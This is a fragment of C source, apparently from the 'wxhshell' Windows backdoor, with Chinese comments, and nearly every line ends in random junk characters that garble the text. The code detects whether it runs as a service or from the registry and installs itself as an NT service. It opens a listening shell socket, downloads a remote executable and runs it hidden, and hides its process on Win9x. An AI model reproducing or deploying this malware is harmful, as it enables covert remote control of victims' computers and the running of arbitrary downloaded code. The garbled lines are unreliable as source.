DWORD AffinityMask; [qsEUc+Z.'
DWORD BasePriority; Z{'i F
ULONG UniqueProcessId; 1+?N#Fh
ULONG InheritedFromUniqueProcessId; 6q
2_WX
} PROCESS_BASIC_INFORMATION; iQ{G(^sZN
g^zs,4pPU<
PROCNTQSIP NtQueryInformationProcess; G:g69=x y
e%W$*f
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |7x\m t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j65<8svl
TX
HANDLE hProcess; $1ndKB8)`J
PROCESS_BASIC_INFORMATION pbi; EJ2yO@5O
q+,Q<2J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ! VjFW5'{
if(NULL == hInst ) return 0; V)}rEX
kQ]$%Lk[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s(W|f|R
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F2X0%te
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); # W"=ry3{
Jaz?Ys|S
if (!NtQueryInformationProcess) return 0; #c2ymQm
EYA,hc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^j7azn
if(!hProcess) return 0; :6%Z]tt
T
Q,?>6n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =hl }.p
{z|;Xi::"
CloseHandle(hProcess); )p*}e8L
2WG>, 4W2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *?MGMhE
if(hProcess==NULL) return 0; ElUEteZ
1) Zf3Y8
HMODULE hMod; f5 `g
char procName[255]; p)+k=b
unsigned long cbNeeded; QE7V.
>J_p
'F3)9&M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wl}&?v&@
}u1O#L}F5
CloseHandle(hProcess); 2it?$8#i
CD8}I85K
if(strstr(procName,"services")) return 1; // 以服务启动 |ZQ@fmvL/p
l}qE 46EL
return 0; // 注册表启动 "Iix
)Ue
} jRatm.N
Ps<d('=
// 主模块 )5
R=Z<
int StartWxhshell(LPSTR lpCmdLine) TjG4`:*y#m
{ .aflsUD
SOCKET wsl; r
hfb ftw
BOOL val=TRUE; vY_-Ranj#.
int port=0; h;0S%ZC
struct sockaddr_in door; \J6j38D5
S.a%
if(wscfg.ws_autoins) Install(); GQ-Rtn4v
7sXxq4
port=atoi(lpCmdLine); ,`aq+K
h5K$mA5
if(port<=0) port=wscfg.ws_port; `HBf&Z
v~Y^r2
WSADATA data; @62Mk},9 c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h*<P$t
-!
K-Htb-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l\n@cQR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); of@#:Qs
door.sin_family = AF_INET; YtWJXkB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /g4f`$a
door.sin_port = htons(port); &ZQJ>#~j^
n-@j5w+k4
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ggb5K8D*
closesocket(wsl); i _%Q`i
return 1; \oZ5JoO
} J^g!++|2P
~JH:EB:
if(listen(wsl,2) == INVALID_SOCKET) { Gmz6$^D
closesocket(wsl); mN19WQ(r
return 1; ~b2wBs)r
} STaA]i}P
Wxhshell(wsl); ^) s2$A:L
WSACleanup(); X'"SVO.
c=`wg$2:5
return 0; ih;]nJ]+-
_"w2U q
} lgtC |kM=
+o51x'Ld*
// 以NT服务方式启动 ~7Tc$
"I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4%3Mb-#Y]
{ VH1d$
DWORD status = 0; '>rw(3
DWORD specificError = 0xfffffff; ;y2/-tL?
Bb"Bg\le,^
serviceStatus.dwServiceType = SERVICE_WIN32; 8zR~d%pK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; A`}rqhU.{-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fOMW"myQ
serviceStatus.dwWin32ExitCode = 0; 6<ZkJ:=
serviceStatus.dwServiceSpecificExitCode = 0; *^wm1|5
serviceStatus.dwCheckPoint = 0; k4[|'Dk?
serviceStatus.dwWaitHint = 0; 2FW\O0U
3z&Fi;<+j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & J2M1z%
if (hServiceStatusHandle==0) return; ~'CE[G5
9
o&`5
status = GetLastError(); WV_.Tiy<
if (status!=NO_ERROR) qCnZhJ
{ 6Z%U`,S
serviceStatus.dwCurrentState = SERVICE_STOPPED; (X3Tav
serviceStatus.dwCheckPoint = 0; )(384@'"u
serviceStatus.dwWaitHint = 0; {>)#HD
serviceStatus.dwWin32ExitCode = status; A"rfZ`
serviceStatus.dwServiceSpecificExitCode = specificError; 6'Worj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Q6mo/=H
return; Yd~X77cv
} 7G>dTO
0p!>JQ]m
serviceStatus.dwCurrentState = SERVICE_RUNNING; &H`jL4S
serviceStatus.dwCheckPoint = 0; T
r1?620
serviceStatus.dwWaitHint = 0; vz7J-CH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5X:*/FuS@
} ZU%[guf
J.xPv)1'
// 处理NT服务事件,比如:启动、停止 v63"^%LX
VOID WINAPI NTServiceHandler(DWORD fdwControl) In<n&ib
{ Gf<'WQ[
switch(fdwControl) WL?\5?G9l
{ EH!
q=&d
case SERVICE_CONTROL_STOP: zM(vr"U
serviceStatus.dwWin32ExitCode = 0; KQg]0y
d
serviceStatus.dwCurrentState = SERVICE_STOPPED; [J4gH^Z_
serviceStatus.dwCheckPoint = 0; A"G
1^8wvX
serviceStatus.dwWaitHint = 0; G'ei/Me6{
{ l^pA2yh|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pw)||Q
} 9{5&^RbCp
return; |m^k_d!d
case SERVICE_CONTROL_PAUSE: nwF2aRNV
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8L:ji,"
break; ZL&g_jC
case SERVICE_CONTROL_CONTINUE: z4jR[x,
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5?3Me59
break; (2^gVz=j
case SERVICE_CONTROL_INTERROGATE: "2)H'<
break; $JMXV
}; S/e2P|}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LIvFx|
} pgQV /6
Af'" 6BS
// 标准应用程序主函数 e
:%ieH<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :+z4~%
jA
{ d(:8M
}dWq=)*
// 获取操作系统版本 B"TAjB&
*
OsIsNt=GetOsVer(); V@cM |(
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4{rZppm
Py@wJEo
// 从命令行安装 kt["m.
if(strpbrk(lpCmdLine,"iI")) Install(); 2\jPv`Ia
ZjQ
|Wx
// 下载执行文件 =/y]d<g
if(wscfg.ws_downexe) { D(AXk8Vub
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _m
gHJ 0v'
WinExec(wscfg.ws_filenam,SW_HIDE); %S*{9hm/
} jv%kOovj
V'8s8H
if(!OsIsNt) { &eCa0s?mI
// 如果时win9x,隐藏进程并且设置为注册表启动 vY${;#~|
HideProc(); vd
0ljA
StartWxhshell(lpCmdLine); jr /pj?
} ;CmS ~K:
else a!<8\vzg
if(StartFromService()) E_])E`BJ
// 以服务方式启动 %,6#2X nX%
StartServiceCtrlDispatcher(DispatchTable); #\.,? A}9
else #LL?IRH9^
// 普通方式启动 EN;}$jZ>47
StartWxhshell(lpCmdLine); (e!0]Io@
LcB]Xdsa(
return 0; >VP=MbN
}